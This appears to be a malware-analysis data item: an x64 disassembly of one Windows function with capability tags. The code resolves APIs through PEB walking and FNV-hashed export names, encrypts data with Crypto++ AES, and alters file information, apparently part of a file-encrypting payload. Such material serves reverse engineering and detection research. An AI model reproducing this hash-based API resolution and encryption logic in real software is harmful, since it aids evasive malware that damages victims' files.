Function at 0x140027270
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Set file attributes

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x200], rbx
mov rax, qword [0x140124190]
xor rax, rsp
mov qword [rbp + 0xa0], rax
mov r13, rdx
mov r14, rcx
mov qword [rsp + 0x30], rcx
mov ecx, dword [rdx + 0x28]
test ecx, ecx
je 0x1400277b6
sub ecx, 1
je 0x1400273cd
cmp ecx, 1
jne 0x140027b0e
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x48], rax
xor ebx, ebx
mov qword [rsp + 0x78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
lea edx, [rbx + 0x40]
mov rcx, r13
call fcn.140072f50
mov rax, qword [r14 + 0x58]
mov r8d, 0x300
add rax, r8
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x20], 0x14
lea r9d, [rbx + 8]
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x90]
mov rcx, qword [r14]
call qword [sym.imp.NTDLL.dll_NtSetInformationFile]
lea rdi, [r14 + 8]
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r14 + 0x68]
call fcn.1400270b0
mov rdx, qword [r14 + 0x80]
cmp rdx, 8
jb 0x1400273a2
lea rdx, [rdx*2 + 2]
mov rcx, qword [r14 + 0x68]
cmp rdx, 0x1000
jb 0x14002739d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140027b38
mov rcx, r8
call fcn.140072f50
mov qword [r14 + 0x78], rbx
mov qword [r14 + 0x80], 7
mov word [r14 + 0x68], bx
mov edx, 0x88
mov rcx, r14
call fcn.140072f50
call fcn.140024700
jmp 0x140027b0e
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x50], rax
xor esi, esi
mov qword [rbp - 0x78], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x50]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
mov rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [r14 + 0x48], eax
cmp eax, 1
jne 0x140027b0e
mov rcx, qword [r14 + 0x40]
call fcn.140072f50
lea ecx, [rsi + 0x40]
call fcn.140072f14
mov r12, rax
mov ecx, dword [r14 + 0x60]
xor edx, edx
mov r8d, 0x300
mov eax, r8d
div rcx
sub rcx, rdx
add rcx, r8
test rdx, rdx
cmove rcx, r8
mov qword [r12 + 0x38], rcx
mov qword [r12 + 0x20], rsi
xor eax, eax
mov qword [r12], rax
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rax
mov qword [r12 + 0x18], rax
mov eax, dword [r14 + 0x58]
mov dword [r12 + 0x10], eax
mov eax, dword [r14 + 0x5c]
mov dword [r12 + 0x14], eax
mov dword [r12 + 0x28], 2
mov rax, qword [r12 + 0x38]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x40], rsi
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [sym.imp.NTDLL.dll_NtAllocateVirtualMemory]
test eax, eax
jne 0x140027490
mov rbx, qword [rsp + 0x40]
mov qword [r12 + 0x30], rbx
movaps xmm0, xmmword [0x1401316b0]
movups xmmword [rbx + 0x284], xmm0
movaps xmm1, xmmword [0x1401316c0]
movups xmmword [rbx + 0x294], xmm1
movaps xmm0, xmmword [0x1401316d0]
movups xmmword [rbx + 0x2a4], xmm0
movaps xmm1, xmmword [0x1401316e0]
movups xmmword [rbx + 0x2b4], xmm1
movaps xmm0, xmmword [0x1401316f0]
movups xmmword [rbx + 0x2c4], xmm0
movaps xmm1, xmmword [0x140131700]
movups xmmword [rbx + 0x2d4], xmm1
movaps xmm0, xmmword [0x140131710]
movups xmmword [rbx + 0x2e4], xmm0
movsd xmm1, qword [0x140131720]
movsd qword [rbx + 0x2f4], xmm1
mov eax, dword [0x140131728]
mov dword [rbx + 0x2fc], eax
lea rcx, [r14 + 0x68]
cmp qword [rcx + 0x18], 8
jb 0x140027556
mov rcx, qword [rcx]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
nop dword [rax]
lea rdi, [rdi + 1]
cmp word [rax + rdi*2], si
jne 0x140027560
lea r8, [rdi + rdi]
lea rcx, [rbx + 0x3c]
mov rdx, rax
call fcn.140096e70
mov rax, qword [r14 + 0x50]
mov qword [rbx + 0x30], rax
mov eax, dword [r14 + 0x60]
mov dword [rbx + 0x38], eax
movups xmm0, xmmword [r14 + 8]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [r14 + 0x18]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [r14 + 0x28]
movups xmmword [rbx + 0x20], xmm0
lea rdx, [rbx + 0x248]
lea r9, [0x140131730]
mov r8d, 0x248
mov rcx, rbx
call fcn.140043d10
mov rdi, qword [0x1401322b0]
test rdi, rdi
jne 0x14002777a
mov ebx, esi
mov r11d, 0xd47a65d7
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x140027662
mov rdi, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0x4ed84b6
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x140027659
nop word [rax + rax]
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
lea rdi, [rdi + 2]
inc r8
cmp r8, r9
jne 0x140027640
cmp r10d, ebx
jne 0x14002776b
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov esi, ecx
add rsi, r10
shr rcx, 0x20
cmp rsi, r10
je 0x140027769
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140027769
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edi, dword [rdx + r15]
add rdi, r10
mov r8d, 0x4ed84b6
movzx edx, byte [rdi]
inc rdi
test dl, dl
je 0x1400276d8
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rdi]
lea rdi, [rdi + 1]
test dl, dl
jne 0x1400276c0
cmp r8d, r11d
je 0x1400276ec
test r9d, r9d
jne 0x1400276a0
xor esi, esi
mov rax, qword [rax]
jmp 0x1400275f0
mov edx, dword [rsi + 0x24]
add rdx, r10
movzx edi, word [rdx + r9*2]
mov edx, dword [rsi + 0x1c]
add rdx, r10
mov edi, dword [rdx + rdi*4]
add rdi, r10
cmp rdi, rsi
jbe 0x140027773
lea rax, [rsi + rcx]
cmp rdi, rax
jae 0x140027773
mov ebx, 0x4ed84b6
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x140027735
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x140027720
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x140027758
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea rdi, [rdi + 1]
movzx eax, byte [rdi]
test al, al
jne 0x140027740
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x1400275f0
mov qword [0x1401322b0], rdi
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x70]
mov r8d, dword [r12 + 0x38]
mov rdx, qword [r12 + 0x30]
mov rcx, qword [r14]
call rdi
test eax, eax
jne 0x140027b0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140027b0e
call fcn.140024700
jmp 0x140027b0e
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x70]
call fcn.1400972d0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x60], rax
mov dl, 1
lea rcx, [rbp + 0x30]
call fcn.14004d090
movabs rax, 0x3fffffffffffffff
mov qword [rbp + 0x50], rax
xor esi, esi
mov qword [rbp + 0x58], rsi
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x48]
call fcn.14002c610
mov qword [rbp + 0x60], rax
mov rdi, 0xffffffffffffffff
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rsi
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.0
mov qword [rbp + 0x28], rax
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.1.0
mov qword [rbp + 0x30], rax
mov dl, 1
lea rcx, [rbp - 0x68]
call fcn.14004d090
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
mov dl, 1
lea rcx, [rbp - 0x10]
call fcn.14004d090
mov qword [rbp], rdi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
lea rax, [0x1401046e8]
mov qword [rbp - 0x70], rax
lea rax, [0x1401045c0]
mov qword [rbp - 0x68], rax
lea rax, [0x1401047b8]
mov qword [rbp - 0x38], rax
lea rax, [0x140104938]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x70]
call fcn.140051fb0
nop
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x40]
mov eax, eax
lea r9, [r14 + 0x28]
lea rdx, [r14 + 8]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 0x20]
lea rcx, [rbp - 0x70]
call fcn.14004f840
mov eax, dword [r14 + 0x38]
mov rdx, qword [r13 + 0x20]
imul rdx, rax
lea rcx, [rbp - 0x68]
call fcn.140051980
mov rdx, qword [r13 + 0x30]
mov r9d, dword [r14 + 0x38]
mov r8, rdx
lea rcx, [rbp - 0x68]
call fcn.1400513c0
mov dword [r13 + 0x28], 1
mov rdi, qword [0x140131690]
test rdi, rdi
jne 0x140027ace
mov ebx, esi
mov r11d, 0xe42fd2a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1400279a2
mov rdi, qword [rsp + 0x68]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0xbd4cad25
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x140027999
nop word [rax + rax]
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
add rdi, 2
inc r8
cmp r8, r9
jne 0x140027980
cmp r10d, ebx
jne 0x140027aba
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r14d, ecx
add r14, r10
shr rcx, 0x20
cmp r14, r10
je 0x140027aba
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140027aba
mov r15d, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edx, dword [rdx + r15]
add rdx, r10
mov r8d, 0xbd4cad25
movzx edi, byte [rdx]
inc rdx
test dil, dil
je 0x140027a1a
nop
movsx edi, dil
xor edi, r8d
imul r8d, edi, 0x1000193
movzx edi, byte [rdx]
lea rdx, [rdx + 1]
test dil, dil
jne 0x140027a00
cmp r8d, r11d
je 0x140027a2e
test r9d, r9d
jne 0x1400279e0
xor esi, esi
mov rax, qword [rax]
jmp 0x140027930
mov edx, dword [r14 + 0x1c]
add rdx, r10
mov eax, dword [r14 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rdx + rax*4]
add rdi, r10
cmp rdi, r14
jbe 0x140027ac2
lea rax, [r14 + rcx]
cmp rdi, rax
jae 0x140027ac2
mov ebx, 0xbd4cad25
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x140027a85
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x140027a70
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x140027aa7
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
test al, al
jne 0x140027a90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x140027930
mov qword [0x140131690], rdi
mov r14, qword [rsp + 0x30]
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x74]
mov r8d, dword [r14 + 0x38]
mov rdx, qword [r13 + 0x30]
mov rcx, qword [r14]
call rdi
test eax, eax
jne 0x140027afc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140027afc
call fcn.140024700
nop
lea rcx, [rbp - 0x70]
call fcn.140028d10
lea rcx, [rbp + 0x28]
call fcn.140027b80
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140072ef0
mov rbx, qword [rsp + 0x200]
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400a01c4
int3